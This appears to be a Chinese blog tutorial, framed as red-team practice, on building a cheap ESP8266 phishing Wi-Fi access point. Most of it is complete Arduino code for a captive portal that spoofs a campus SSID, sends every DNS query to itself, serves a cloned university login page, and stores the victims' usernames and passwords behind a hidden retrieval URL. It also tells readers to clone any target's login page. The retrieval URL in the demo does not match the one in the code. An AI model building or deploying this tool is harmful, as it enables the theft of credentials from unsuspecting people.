万万没想到prohubu的官网(p站)
在企业安全设备越来越多,边境安全防护越做越好的情况下,钓鱼攻击已经逐渐成为了红蓝对抗演练的主要方法。而随着邮件服务器WAF等设备的更新以及企业人
在企业安全设备越来越多,边境安全防护越做越好的情况下,钓鱼攻击已经逐渐成为了红蓝对抗演练的主要方法而随着邮件服务器WAF等设备的更新以及企业人员安全意识的逐步提高,针对邮件钓鱼攻击也有了更多的防范措施在攻防演习、授权测试过程中,近源渗透与钓鱼攻击的组合拳能达到出其不意的效果
,但行为有时也太过明显--手持MBP在目标附近转悠,且有被直接抓获的风险(活捉成就达成)于是笔者制作了一款钓鱼WIFI,特点是小型且不易被发现,信号范围广,其次是成本低,可将其安装在目标附近制作准备硬件
ESP8266(某宝10元左右)
电源模块(可选)
软件Arduino 1.8.13及以上软件配置Arduino - 首选项 - 附加开发版管理网址,添加如下网址http://arduino.esp8266.com/stable/package_esp8266com_index.json
https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json
2. Arduino - 工具 - 开发板 - 开发板管理器,输入"esp8266",点击查找,选择"esp8266 by ESP8266 Community"安装,下载时建议使用代理。
3. 下载ESP8266FS,将esp8266fs.jar放入Arduino根目录下的tools文件夹,以MacOS为例,格式为 /Applications/Arduino.app/Contents/Java/
tools/ESP8266FS/tool/esp8266fs.jar制作钓鱼网页此处以某认证系统为例。下载网页
修改登录接口为pass,用户名密码为user, pass。
刷写ESP8266固件Arduino - 文件 - 新建,新建项目。
Arduino - 工具,配置开发板信息如下,需要注意端口的配置此处笔者直接贴出代码,并对代码做了详细注解,希望读者们认真阅读,重点代码在于接受传来的数据并存储的过程,能够举一反三#include
#include#include#include#include// DNS默认端口,无需修改const
byte DNS_PORT = 53; // WIFI名称constchar *ssid = "HUBU-STUDENT-PRO"; // AP的IP地址(即网关地址)IPAddress apIP
(192, 168, 1, 1); // 查看存储密码的密码 String ppassword = "t123061"; DNSServer dnsServer; ESP8266WebServer
webServer(80); // 存储账号密码 String data = ""; // 认证页面 String responseHTML = ""
; // 登录失败页面 String responseHTML_error = "
没有找到符合条件的策略,5秒后返回
"; String getContentType(String filename){ if(webServer.hasArg("download")) return"application/octet-stream"
; elseif(filename.endsWith(".htm")) return"text/html"; elseif(filename.endsWith(".html")) return"text/html"
; elseif(filename.endsWith(".css")) return"text/css"; elseif(filename.endsWith(".js")) return"application/javascript"
; elseif(filename.endsWith(".png")) return"image/png"; elseif(filename.endsWith(".gif")) return"image/gif"
; elseif(filename.endsWith(".jpg")) return"image/jpeg"; elseif(filename.endsWith(".ico")) return"image/x-icon"
; elseif(filename.endsWith(".xml")) return"text/xml"; elseif(filename.endsWith(".pdf")) return"application/x-pdf"
; elseif(filename.endsWith(".zip")) return"application/x-zip"; elseif(filename.endsWith(".gz")) return
"application/x-gzip"; return"text/plain"; } // 查看存储的账号和密码voidpaw(){ if(webServer.arg("key")==ppassword){ webServer.send(
200, "text/plain", data); }else{ webServer.send(200, "text/html", responseHTML); } } // 记录从钓鱼界面传过来的账号和密码
voidpass(){ if(webServer.arg("user") != "" && webServer.arg("pass") != ""){ data += "username:"
; data += webServer.arg("user"); data += "----password:"; data += webServer.arg("pass"); data +=
"\r\n"; webServer.send(200, "text/html", responseHTML_error); } } voidbackground(){ File file = SPIFFS.open(
"/background.jpg", "r"); size_t sent = webServer.streamFile(file, "image/jpeg"); file.close();
return; } voidbootstrap(){ File file = SPIFFS.open("/bootstrap.css", "r"); size_t sent = webServer.streamFile(file,
"text/css"); file.close(); return; } voidlogo_r(){ File file = SPIFFS.open("/logo.png", "r");
size_t sent = webServer.streamFile(file, "image/png"); file.close(); return; } voidfavicon(){ File file = SPIFFS.open(
"/favicon.ico", "r"); size_t sent = webServer.streamFile(file, "image/x-icon"); file.close(); return
; } voidmain_r(){ File file = SPIFFS.open("/main.css", "r"); size_t sent = webServer.streamFile(file,
"text/css"); file.close(); return; } voidmiddle_r(){ File file = SPIFFS.open("/middle.png", "r"
); size_t sent = webServer.streamFile(file, "image/png"); file.close(); return; } voiduname_r()
{ File file = SPIFFS.open("/uname.png", "r"); size_t sent = webServer.streamFile(file, "image/png"
); file.close(); return; } voidupwd_r(){ File file = SPIFFS.open("/upwd.png", "r"); size_t sent = webServer.streamFile(file,
"image/png"); file.close(); return; } voidindex_r(){ File file = SPIFFS.open("/index.html", "r"
); size_t sent = webServer.streamFile(file, "text/html"); file.close(); return; } // 首页voidhandleRoot
(){ File file = SPIFFS.open("/index.html", "r"); size_t sent = webServer.streamFile(file, "text/html"
); file.close(); return; } voidsetup(){ // WIFI配置 Serial.begin(9600); SPIFFS.begin(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(apIP, apIP, IPAddress(
255, 255, 255, 0)); WiFi.softAP(ssid); // DNS配置 dnsServer.start(DNS_PORT, "*", apIP); // 配置404网页为首页
webServer.onNotFound([]() { webServer.send(200, "text/html", responseHTML); }); // 配置查看密码网页
webServer.on ("/key518", HTTP_GET, paw); webServer.on("/", handleRoot); // 配置登录接口 webServer.on(
"/pass", HTTP_GET, pass); webServer.on("/background.jpg", background); webServer.on("/bootstrap.css"
, bootstrap); webServer.on("/logo.png", logo_r); webServer.on("favicon.ico", favicon); webServer.on(
"/main.css", main_r); webServer.on("/middle.png", middle_r); webServer.on("/uname.png", uname_r); webServer.on(
"/upwd.png", upwd_r); webServer.on("/index.html", index_r); webServer.begin(); } voidloop(){ dnsServer.processNextRequest(); webServer.handleClient(); }
保存项目,会自动生成一个文件夹存储代码文件,根据步骤3配置好开发板与端口后,点击编译上传,等待上传成功。
在项目目录下新建data目录,将前端文件放入,然后使用ESP8266FS工具上传
到此制作已经全部完成成品演示连接WiFi
连接WiFi后自动弹出认证界面,输入用户密码test/test点击登录后跳转到预置的登录失败界面
访问预置网址 http://192.168.1.1/key514?pass=123061,收网
示例代码https://github.com/piaolin/ProximalPhishing(仅供学习参考使用)后记文章中以某认证系统为例,在实际测试中,只需要下载目标认证界面修改,或自行编写界面,即可达到超低成本钓鱼效果。
经过笔者不严谨的测试,空地WiFi范围可达200m左右同时读者们可举一反三,对钓鱼方法及代码进行更加针对性的改动,此处不做过多赘述账号密码存储可写入存储而非内存(断电清空),由于笔者最近其他事情缠身,更新时间待定。
00
免责声明:本站所有信息均搜集自互联网,并不代表本站观点,本站不对其真实合法性负责。如有信息侵犯了您的权益,请告知,本站将立刻处理。联系QQ:1640731186